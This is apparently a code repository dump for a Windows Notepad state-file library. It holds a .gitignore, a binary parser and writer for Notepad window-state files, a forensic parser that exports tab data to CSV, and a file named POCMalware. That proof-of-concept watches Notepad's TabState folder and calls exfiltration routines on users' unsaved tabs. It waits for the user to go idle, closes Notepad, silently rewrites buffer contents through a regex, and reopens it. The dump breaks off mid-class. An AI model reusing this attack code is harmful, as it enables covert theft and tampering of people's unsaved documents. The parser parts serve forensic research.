86 | *.tlb
87 | *.tli
88 | *.tlh
89 | *.tmp
90 | *.tmp_proj
91 | *_wpftmp.csproj
92 | *.log
93 | *.tlog
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.)
298 | *.vbp
299 |
300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project)
301 | *.dsw
302 | *.dsp
303 |
304 | # Visual Studio 6 technical files
305 | *.ncb
306 | *.aps
307 |
308 | # Visual Studio LightSwitch build output
309 | **/*.HTMLClient/GeneratedArtifacts
310 | **/*.DesktopClient/GeneratedArtifacts
311 | **/*.DesktopClient/ModelManifest.xml
312 | **/*.Server/GeneratedArtifacts
313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
315 |
316 | # Paket dependency manager
317 | .paket/paket.exe
318 | paket-files/
319 |
320 | # FAKE - F# Make
321 | .fake/
322 |
323 | # CodeRush personal settings
324 | .cr/personal
325 |
326 | # Python Tools for Visual Studio (PTVS)
327 | __pycache__/
328 | *.pyc
329 |
330 | # Cake - Uncomment if you are using it
331 | # tools/**
332 | # !tools/packages.config
333 |
334 | # Tabs Studio
335 | *.tss
336 |
337 | # Telerik's JustMock configuration file
338 | *.jmconfig
339 |
340 | # BizTalk build output
341 | *.btp.cs
342 | *.btm.cs
343 | *.odx.cs
344 | *.xsd.cs
345 |
346 | # OpenCover UI analysis results
347 | OpenCover/
348 |
349 | # Azure Stream Analytics local run output
350 | ASALocalRun/
351 |
352 | # MSBuild Binary and Structured Log
353 | *.binlog
354 |
355 | # NVidia Nsight GPU debugger configuration file
356 | *.nvuser
357 |
358 | # MFractors (Xamarin productivity tool) working folder
359 | .mfractor/
360 |
361 | # Local History for Visual Studio
362 | .localhistory/
363 |
364 | # Visual Studio History (VSHistory) files
365 | .vshistory/
366 |
367 | # BeatPulse healthcheck temp database
368 | healthchecksdb
369 |
370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
371 | MigrationBackup/
372 |
373 | # Ionide (cross platform F# VS Code tools) working folder
374 | .ionide/
375 |
376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
399 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/POCMalware/Program.cs:
--------------------------------------------------------------------------------
1 | // See https://aka.ms/new-console-template for more information
2 | using NotepadStateLibrary;
3 | using System.Diagnostics;
4 | using System.Text;
5 | using System.Text.RegularExpressions;
6 | using System.Management;
7 | using System.Net;
8 | using GaslitPad;
9 | using System.Configuration;
10 | using System.IO;
11 |
12 |
13 | Console.WriteLine("********** Starting *********");
14 |
15 | bool isNotepadRunning = false;
16 | //LOL Error checking?
17 | int idleWaitTime = Int32.Parse(ConfigurationManager.AppSettings["idleWaitTime"]); // idle wait time before attack
18 | int pollingInterval = Int32.Parse(ConfigurationManager.AppSettings["pollingInterval"]); // polling interval. Should we have a different rate for checking Notepad running?
19 | string directoryToMonitor = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
20 |
21 | //TODO: Future: Make this a list or something of attack target parameters
22 | //LOL Error checking?
23 | int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 Active Attack, 1 Sleep Attack
24 | string attackFileName = ConfigurationManager.AppSettings["attackFileName"];
25 | string attackRegex = ConfigurationManager.AppSettings["attackRegex"];
26 | string attackReplace = ConfigurationManager.AppSettings["attackReplace"];
27 | bool attackDone = false;
28 |
29 |
30 | // Get the current state of the directory (file names and their hashes)
31 | var currentFileState = new Dictionary();
32 | foreach (var file in Directory.GetFiles(directoryToMonitor))
33 | {
34 | var fileName = Path.GetFileName(file);
35 | var fileByteLength = GetFileByteLength(file);
36 | currentFileState[fileName] = fileByteLength;
37 | }
38 | //TODO: Future: Ship out files
39 | Exfiltrate.SendFiles(directoryToMonitor, currentFileState.Keys.ToList()); //This is not right. I need the full path
40 |
41 | if (attackVersion == 0)
42 | {
43 | // Dictionary to store file information: file name -> file length to detect changes
44 | var previousFileState = currentFileState;
45 |
46 | Thread monitorThread = new Thread(MonitorNotepad);
47 | monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes
48 | monitorThread.Start();
49 |
50 | Console.WriteLine($"Monitoring directory: {directoryToMonitor}");
51 | Console.WriteLine("Press 'q' to quit...");
52 |
53 | // Start a loop to check the directory every few seconds
54 | while (true)
55 | {
56 | Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString());
57 |
58 | // Check for newly added files
59 | var addedFiles = currentFileState.Keys.Except(previousFileState.Keys);
60 | foreach (var addedFile in addedFiles)
61 | {
62 | Console.WriteLine($"File created: {addedFile}");
63 | Console.WriteLine(isNotepadRunning.ToString());
64 | //TODO: Future: Ship out new files
65 | Exfiltrate.SendFile(Path.Combine(directoryToMonitor, addedFile));
66 | }
67 |
68 | // Check for deleted files
69 | var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys);
70 | foreach (var deletedFile in deletedFiles)
71 | {
72 | Console.WriteLine($"File deleted: {deletedFile}");
73 | Console.WriteLine(isNotepadRunning.ToString());
74 | //TODO: Future: Alert on deleted file
75 | Exfiltrate.DeletedFile(Path.Combine(directoryToMonitor, deletedFile));
76 | }
77 |
78 | // Check for modified files (files that exist in both, but with different lengths)
79 | var modifiedFiles = currentFileState
80 | .Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key])
81 | .Select(kv => kv.Key);
82 | foreach (var modifiedFile in modifiedFiles)
83 | {
84 | Console.WriteLine($"File modified: {modifiedFile}");
85 | Console.WriteLine(isNotepadRunning.ToString());
86 | //TODO: Future: ship out changes
87 | Exfiltrate.SendChanges(Path.Combine(directoryToMonitor, modifiedFile)); //TODO: This should really just exfiltrate the unsavedbufferchunks
88 | }
89 |
90 | // Update the previous file state for the next iteration
91 | previousFileState = new Dictionary(currentFileState);
92 |
93 | // Check for Attack conditions
94 | if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone)
95 | {
96 | Console.WriteLine("Starting attack");
97 | CloseNotepad();
98 | foreach (var file in currentFileState)
99 | {
100 | Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
101 | }
102 | OpenNotepad();
103 | }
104 |
105 | // Check for user input to exit
106 | if ((Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) || attackDone)
107 | {
108 | break;
109 | }
110 |
111 | // Wait for the next polling interval
112 | Thread.Sleep(pollingInterval);
113 |
114 | //Refresh list of current files
115 | currentFileState = new Dictionary();
116 | foreach (var file in Directory.GetFiles(directoryToMonitor))
117 | {
118 | var fileName = Path.GetFileName(file);
119 | var fileByteLength = GetFileByteLength(file);
120 | currentFileState[fileName] = fileByteLength;
121 | }
122 | }
123 | }
124 | else
125 | {
126 | while (true)
127 | {
128 | if (Process.GetProcessesByName("notepad").Count() == 0)
129 | {
130 | currentFileState = new Dictionary();
131 | foreach (var file in Directory.GetFiles(directoryToMonitor))
132 | {
133 | var fileName = Path.GetFileName(file);
134 | var fileByteLength = GetFileByteLength(file);
135 | currentFileState[fileName] = fileByteLength;
136 | }
137 |
138 | Console.WriteLine("Starting attack");
139 | foreach (var file in currentFileState)
140 | {
141 | Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
142 | }
143 | }
144 |
145 | if (attackDone)
146 | {
147 | break;
148 | }
149 |
150 | Thread.Sleep(pollingInterval);
151 | }
152 | }
153 |
154 | Console.WriteLine("Monitoring stopped.");
155 |
156 |
157 | string GetFileByteLength(string filePath)
158 | {
159 |
160 | using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
161 | {
162 | byte[] data = new byte[fileStream.Length];
163 | fileStream.Read(data);
164 |
165 | return data.Length.ToString();
166 | }
167 | }
168 |
169 | void MonitorNotepad()
170 | {
171 | while (true)
172 | {
173 | // Check if "notepad" is running
174 | var processes = Process.GetProcessesByName("notepad");
175 |
176 | // If notepad.exe is running, set the flag to true, otherwise false
177 | bool isRunning = processes.Length > 0;
178 | if (isRunning != isNotepadRunning)
179 | {
180 | isNotepadRunning = isRunning;
181 |
182 | if (isNotepadRunning)
183 | {
184 | Console.WriteLine("Notepad started.");
185 | }
186 | else
187 | {
188 | Console.WriteLine("Notepad closed.");
189 | }
190 | }
191 |
192 | // Wait for the next polling interval
193 | Thread.Sleep(pollingInterval);
194 | }
195 | }
196 |
197 | void CloseNotepad()
198 | {
199 | foreach (var p in Process.GetProcessesByName("notepad"))
200 | {
201 | p.CloseMainWindow();
202 | p.Close();
203 | //TODO: Should we wait a little time here? Possible file locking issues?
204 | }
205 |
206 | }
207 |
208 | void OpenNotepad()
209 | {
210 | Process.Start("notepad.exe");
211 | }
212 |
213 | void Attack(string path, string fileName, string replace, string regexFind)
214 | {
215 | byte[] o = new byte[0];
216 |
217 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
218 | {
219 | byte[] data = new byte[fileStream.Length];
220 | fileStream.Read(data);
221 |
222 | if (data.Length > 0)
223 | {
224 | NPTabState np = new NPTabState(data, Path.GetFileName(path));
225 |
226 | if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName && np.Unsaved.SequenceEqual(new byte[] { 0x1 }))
227 | {
228 | string c = np.ContentString;
229 |
230 | Regex rgx = new Regex(regexFind);
231 | Match mtch = rgx.Match(c);
232 |
233 | if (mtch.Success)
234 | {
235 |
236 | int start = mtch.Index;
237 | int end = mtch.Length;
238 | string r = c.Remove(start, end).Insert(start, replace);
239 | var n = Encoding.Unicode.GetBytes(r);
240 | o = np.WriteContent(n);
241 | }
242 | }
243 | }
244 | }
245 |
246 | if (o.Length > 0)
247 | {
248 | File.WriteAllBytes(path, o);
249 | attackDone = true;
250 | }
251 | }
252 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/NPWindowState.cs:
--------------------------------------------------------------------------------
1 | using System.Text;
2 |
3 |
4 | namespace NotepadStateLibrary
5 | {
6 | public class NPWindowState
7 | {
8 | //TODO: Reorder these to a sensical order?
9 |
10 | ///
11 | ///
12 | ///
13 | public string FileName { get; private set; }
14 | ///
15 | /// Number of the active tab in Notepad. 0 based index.
16 | ///
17 | public ulong ActiveTab { get; private set; }
18 | ///
19 | /// Bottom right X/Y coordinates
20 | ///
21 | public WindowXY BottomRightCoords { get; private set; }
22 | ///
23 | /// bytes of the described tab state file
24 | ///
25 | public byte[] bytes { get; set; }
26 | ///
27 | /// Number of bytes to the CRC
28 | ///
29 | public ulong BytesToCRC { get; private set; }
30 | ///
31 | /// Calculated CRC32
32 | ///
33 | public byte[] CRC32Calculated { get; private set; } = null!;
34 | ///
35 | /// CRC32 from the file
36 | ///
37 | public byte[] CRC32Stored { get; private set; } = null!;
38 | ///
39 | /// Number of tabs in Notepad
40 | ///
41 | public ulong NumberTabs { get; private set; }
42 | ///
43 | ///
44 | ///
45 | public ulong SequenceNumber { get; private set; }
46 | ///
47 | /// List of GUIDs stored as Bytes for Tabs. These are in order.
48 | ///
49 | public List Tabs { get; private set; }
50 | ///
51 | ///
52 | ///
53 | public string TabsList
54 | {
55 | get
56 | {
57 | List gsList = new List();
58 | foreach (var t in Tabs)
59 | {
60 | gsList.Add((new Guid(t)).ToString());
61 |
62 | }
63 | return String.Join(", ", gsList.ToArray());
64 | }
65 | }
66 | ///
67 | /// Top left X/Y coordinates
68 | ///
69 | public WindowXY TopLeftCoords { get; private set; }
70 | ///
71 | /// Height and Width. Should match the differences between Top left and Bottom right coordinates.
72 | ///
73 | public WindowXY WindowSize { get; private set; }
74 |
75 |
76 |
77 | ///
78 | /// Notepad Window State Files
79 | ///
80 | /// bytes of the state file
81 | public NPWindowState(byte[] bytes, string fileName)
82 | {
83 | this.bytes = bytes;
84 | this.FileName = fileName;
85 |
86 | Tabs = new List();
87 |
88 | ParseBytes();
89 | }
90 |
91 | ///
92 | /// Sets active tab
93 | ///
94 | /// Integer of the active tab. 0 based index.
95 | public void ChangeActiveTab(int NewActiveTab)
96 | {
97 | this.ActiveTab = (ulong)NewActiveTab;
98 | Save();
99 | }
100 |
101 | ///
102 | ///
103 | ///
104 | ///
105 | public void WriteTabList(List newTabs)
106 | {
107 | NumberTabs = (ulong)newTabs.Count;
108 | Tabs = newTabs;
109 |
110 | Save();
111 | }
112 |
113 | public void WriteTabList(List newTabs)
114 | {
115 | NumberTabs = (ulong) newTabs.Count;
116 | Tabs = new List();
117 | foreach(Guid g in newTabs)
118 | {
119 | Tabs.Add(g.ToByteArray());
120 | }
121 |
122 | Save();
123 | }
124 |
125 | ///
126 | ///
127 | ///
128 | ///
129 | ///
130 | public void Resize(WindowXY topLeft, WindowXY bottomRight)
131 | {
132 | //This should be the main one
133 | TopLeftCoords = topLeft;
134 | BottomRightCoords = bottomRight;
135 |
136 | Save();
137 | }
138 |
139 | ///
140 | ///
141 | ///
142 | ///
143 | public void Resize(WindowXY WindowSize)
144 | {
145 | //TODO: Update BottomRightCoords to coincide with WindowSize Change
146 | Resize(TopLeftCoords, BottomRightCoords);
147 | }
148 |
149 | ///
150 | ///
151 | ///
152 | ///
153 | public void Move(WindowXY TopLeft)
154 | {
155 | //TODO: Update BottomRightCoords to coincide with move
156 | Resize(TopLeftCoords, BottomRightCoords);
157 | }
158 |
159 | private void ParseBytes()
160 | {
161 | using (MemoryStream stream = new MemoryStream(bytes))
162 | {
163 | using (BinaryReader reader = new BinaryReader(stream))
164 | {
165 | string hdrType = Encoding.ASCII.GetString(reader.ReadBytes(2));
166 |
167 | if (hdrType == "NP")
168 | {
169 | CRC32Check c = new CRC32Check();
170 |
171 | SequenceNumber = reader.ReadLEB128Unsigned();
172 | c.AddBytes(SequenceNumber);
173 |
174 |
175 | BytesToCRC = reader.ReadLEB128Unsigned();
176 | c.AddBytes(BytesToCRC);
177 |
178 |
179 | var delim = reader.ReadBytes(1);
180 | c.AddBytes(delim);
181 |
182 | NumberTabs = reader.ReadLEB128Unsigned();
183 | c.AddBytes(NumberTabs);
184 |
185 | for (int x = 0; x < (int)NumberTabs; x++)
186 | {
187 | var chunk = reader.ReadBytes(16);
188 | Tabs.Add(chunk);
189 | c.AddBytes(chunk);
190 | }
191 |
192 | ActiveTab = reader.ReadLEB128Unsigned(); //Active Tab
193 | c.AddBytes(ActiveTab);
194 |
195 | var tlc1 = reader.ReadUInt32();
196 | c.AddBytes(tlc1);
197 | var tlc2 = reader.ReadUInt32();
198 | c.AddBytes(tlc2);
199 |
200 | TopLeftCoords = new WindowXY((int)tlc1, (int)tlc2);
201 |
202 |
203 | var brc3 = reader.ReadUInt32();
204 | c.AddBytes(brc3);
205 | var brc4 = reader.ReadUInt32();
206 | c.AddBytes(brc4);
207 |
208 | BottomRightCoords = new WindowXY((int)brc3, (int)brc4);
209 |
210 |
211 | var wsc5 = reader.ReadUInt32();
212 | c.AddBytes(wsc5);
213 | var wsc6 = reader.ReadUInt32();
214 | c.AddBytes(wsc6);
215 |
216 | WindowSize = new WindowXY((int)wsc5, (int)wsc6);
217 |
218 |
219 | var delim2 = reader.ReadBytes(1);
220 | c.AddBytes(delim2);
221 |
222 |
223 | CRC32Stored = reader.ReadBytes(4);
224 | CRC32Calculated = c.CRC32;
225 | }
226 | }
227 | }
228 | }
229 |
230 | private void Save()
231 | {
232 | using (MemoryStream outStream = new MemoryStream())
233 | {
234 | using (BinaryWriter writer = new BinaryWriter(outStream))
235 | {
236 | writer.Write([0x4E, 0x50]);
237 |
238 | CRC32Check c = new CRC32Check();
239 | writer.Write(SequenceNumber.WriteLEB128Unsigned());
240 | c.AddBytes(SequenceNumber);
241 |
242 | writer.Write(BytesToCRC.WriteLEB128Unsigned());
243 | c.AddBytes(BytesToCRC);
244 |
245 | writer.Write([0x00]);
246 | c.AddBytes([0x00]);
247 |
248 | writer.Write(NumberTabs.WriteLEB128Unsigned());
249 | c.AddBytes(NumberTabs);
250 |
251 | foreach(var t in Tabs)
252 | {
253 | writer.Write(t);
254 | c.AddBytes(t);
255 | }
256 |
257 | writer.Write(ActiveTab.WriteLEB128Unsigned());
258 | c.AddBytes(ActiveTab);
259 |
260 | writer.Write(TopLeftCoords.X);
261 | c.AddBytes((uint)TopLeftCoords.X);
262 |
263 | writer.Write(TopLeftCoords.Y);
264 | c.AddBytes((uint)TopLeftCoords.Y);
265 |
266 | writer.Write(BottomRightCoords.X);
267 | c.AddBytes((uint)BottomRightCoords.X);
268 |
269 | writer.Write(BottomRightCoords.Y);
270 | c.AddBytes((uint)BottomRightCoords.Y);
271 |
272 | writer.Write(WindowSize.X);
273 | c.AddBytes((uint)WindowSize.X);
274 |
275 | writer.Write(WindowSize.Y);
276 | c.AddBytes((uint)WindowSize.Y);
277 |
278 | writer.Write([0x00]);
279 | c.AddBytes([0x00]);
280 |
281 | writer.Write(c.CRC32);
282 |
283 | bytes = outStream.ToArray();
284 | }
285 | }
286 | }
287 | }
288 | }
289 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowsNotepadParser-Minimal/Program.cs:
--------------------------------------------------------------------------------
1 | using NotepadStateLibrary;
2 | using CsvHelper;
3 | using System.Globalization;
4 | using CommandLine;
5 | using System.IO.Compression;
6 | using WindowsNotepadParser_Minimal;
7 | using CsvHelper.Configuration;
8 |
9 | Parser.Default.ParseArguments(args)
10 | .WithParsed(options =>
11 | {
12 | string tabStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState");
13 | string windowStateLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\WindowState");
14 | string outputLocation = Directory.GetCurrentDirectory();
15 |
16 | if (!string.IsNullOrWhiteSpace(options.tabStateLocation))
17 | {
18 | tabStateLocation = options.tabStateLocation;
19 | }
20 | if (!string.IsNullOrWhiteSpace(options.windowStateLocation))
21 | {
22 | windowStateLocation = options.windowStateLocation;
23 | }
24 | if (!string.IsNullOrWhiteSpace(options.outputLocation))
25 | {
26 | outputLocation = options.outputLocation;
27 | }
28 |
29 | Console.WriteLine("********** Starting **********");
30 |
31 | //TODO: Detect version of Notepad
32 |
33 | //Powershell? Get-AppxPackage *notepad* | Select Name, Version
34 |
35 | Console.WriteLine("TabState Folder Location - {0}", tabStateLocation);
36 | if (!Directory.Exists(tabStateLocation))
37 | {
38 | Console.WriteLine("!! ERROR: Invalid TabState Folder Location !!");
39 | Environment.Exit(3);
40 | }
41 |
42 | Console.WriteLine("WindowState Folder Location - {0}", windowStateLocation);
43 | if (!Directory.Exists(windowStateLocation))
44 | {
45 | Console.WriteLine("!! ERROR: Invalid WindowState Folder Location !!");
46 | Environment.Exit(3);
47 | }
48 | Console.WriteLine("Output Folder Location - {0}", outputLocation);
49 | if (!Directory.Exists(outputLocation))
50 | {
51 | Directory.CreateDirectory(outputLocation);
52 | Console.WriteLine("!! WARNING: Creating Output Folder !!");
53 | //Environment.Exit(3);
54 | }
55 |
56 | Console.WriteLine();
57 |
58 | List fileTabs = new List();
59 | List noFileTabs = new List();
60 | List stateTabs = new List();
61 | List windowStateTabs = new List();
62 | List unsavedChunks = new List();
63 |
64 | var config = new CsvConfiguration(CultureInfo.InvariantCulture)
65 | {
66 | HasHeaderRecord = true
67 | };
68 |
69 | //Tabstate
70 | Console.WriteLine("Copying TabState Folder - {0}", tabStateLocation);
71 | CreateZipFromDirectory(tabStateLocation, Path.Combine(outputLocation, "TabStateFolder.zip"));
72 |
73 | foreach (var path in Directory.EnumerateFiles(tabStateLocation, "*.bin"))
74 | {
75 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
76 | {
77 | byte[] data = new byte[fileStream.Length];
78 | fileStream.Read(data);
79 |
80 | if (data.Length > 0)
81 | {
82 | Console.WriteLine("Processing TabState - {0}", Path.GetFileName(path));
83 | NPTabState np = new NPTabState(data, Path.GetFileName(path));
84 |
85 | switch (np.TypeFlag)
86 | {
87 | case 0:
88 | noFileTabs.Add(np);
89 | break;
90 | case 1:
91 | fileTabs.Add(np);
92 | break;
93 | default:
94 | stateTabs.Add(np);
95 | break;
96 | }
97 |
98 | if (np.UnsavedBufferChunks.Count > 0)
99 | {
100 | Console.WriteLine("Processing Unsaved Buffer Chunks for TabState - {0}", Path.GetFileName(path));
101 |
102 | using (var writer = new StreamWriter(Path.Combine(outputLocation, string.Format("{0}-UnsavedBufferChunks.csv", Path.GetFileNameWithoutExtension(path)))))
103 | {
104 | using (var csv = new CsvWriter(writer, config))
105 | {
106 | csv.WriteRecords(np.UnsavedBufferChunks);
107 | }
108 | }
109 | }
110 |
111 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored));
112 | }
113 | }
114 | }
115 |
116 | //Writing File Tabs
117 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "FileTabs.csv")))
118 | {
119 | using (var csv = new CsvWriter(writer, config))
120 | {
121 | csv.Context.RegisterClassMap();
122 | csv.WriteRecords(fileTabs);
123 | }
124 | }
125 |
126 | //Writing No File Tabs
127 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "NoFileTabs.csv")))
128 | {
129 | using (var csv = new CsvWriter(writer, config))
130 | {
131 | csv.Context.RegisterClassMap();
132 | csv.WriteRecords(noFileTabs);
133 | }
134 | }
135 |
136 | //Writing State Tabs
137 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "StateTabs.csv")))
138 | {
139 | using (var csv = new CsvWriter(writer, config))
140 | {
141 | csv.Context.RegisterClassMap();
142 | csv.WriteRecords(stateTabs);
143 | }
144 | }
145 |
146 | //Windowstate
147 | Console.WriteLine("Copying WindowState Folder - {0}", windowStateLocation);
148 | CreateZipFromDirectory(windowStateLocation, Path.Combine(outputLocation, "WindowStateFolder.zip"));
149 |
150 | foreach (var path in Directory.EnumerateFiles(windowStateLocation, "*.bin"))
151 | {
152 | using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
153 | {
154 | byte[] data = new byte[fileStream.Length];
155 | fileStream.Read(data);
156 |
157 | if (data.Length > 0)
158 | {
159 | Console.WriteLine("Processing WindowState - {0}", Path.GetFileName(path));
160 | NPWindowState np = new NPWindowState(data, Path.GetFileName(path));
161 | windowStateTabs.Add(np);
162 |
163 | Console.WriteLine("CRC32 Check Pass: {0}", np.CRC32Calculated.SequenceEqual(np.CRC32Stored));
164 | }
165 | }
166 | }
167 |
168 | //Writing Window States
169 | using (var writer = new StreamWriter(Path.Combine(outputLocation, "WindowStateTabs.csv")))
170 | {
171 | using (var csv = new CsvWriter(writer, config))
172 | {
173 | csv.Context.RegisterClassMap();
174 | csv.WriteRecords(windowStateTabs);
175 | }
176 | }
177 |
178 | Console.WriteLine("\r\n********** Finished **********");
179 |
180 | })
181 | .WithNotParsed(errors =>
182 | {
183 | foreach (var error in errors)
184 | {
185 | if (error is HelpRequestedError || error is VersionRequestedError)
186 | {
187 |
188 | }
189 | else
190 | {
191 | Console.WriteLine($"Error: {error}");
192 | }
193 | }
194 | });
195 |
196 | void CreateZipFromDirectory(string sourceDirectoryName, string zipFilePath)
197 | {
198 | using (FileStream zipToOpen = new FileStream(zipFilePath, FileMode.Create))
199 | using (ZipArchive archive = new ZipArchive(zipToOpen, ZipArchiveMode.Create))
200 | {
201 | foreach (var file in Directory.GetFiles(sourceDirectoryName))
202 | {
203 | var entryName = Path.GetFileName(file);
204 | var entry = archive.CreateEntry(entryName);
205 | entry.LastWriteTime = File.GetLastWriteTime(file);
206 | using (var fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
207 | using (var stream = entry.Open())
208 | {
209 | fs.CopyTo(stream);
210 | }
211 | }
212 | }
213 | }
214 |
215 | public class Options
216 | {
217 | [Option('t', "tabstatelocation", Required = false, HelpText = "Tab State Folder Location. Default value is the system location.")]
218 | public string tabStateLocation { get; set; }
219 |
220 | [Option('w', "windowstatelocation", Required = false, HelpText = "Window State Folder Location. Default value is the system location.")]
221 | public string windowStateLocation { get; set; }
222 |
223 | [Option('o', "outputlocation", Required = false, HelpText = "Output Folder Location for CSV files. Default location is same folder as program.")]
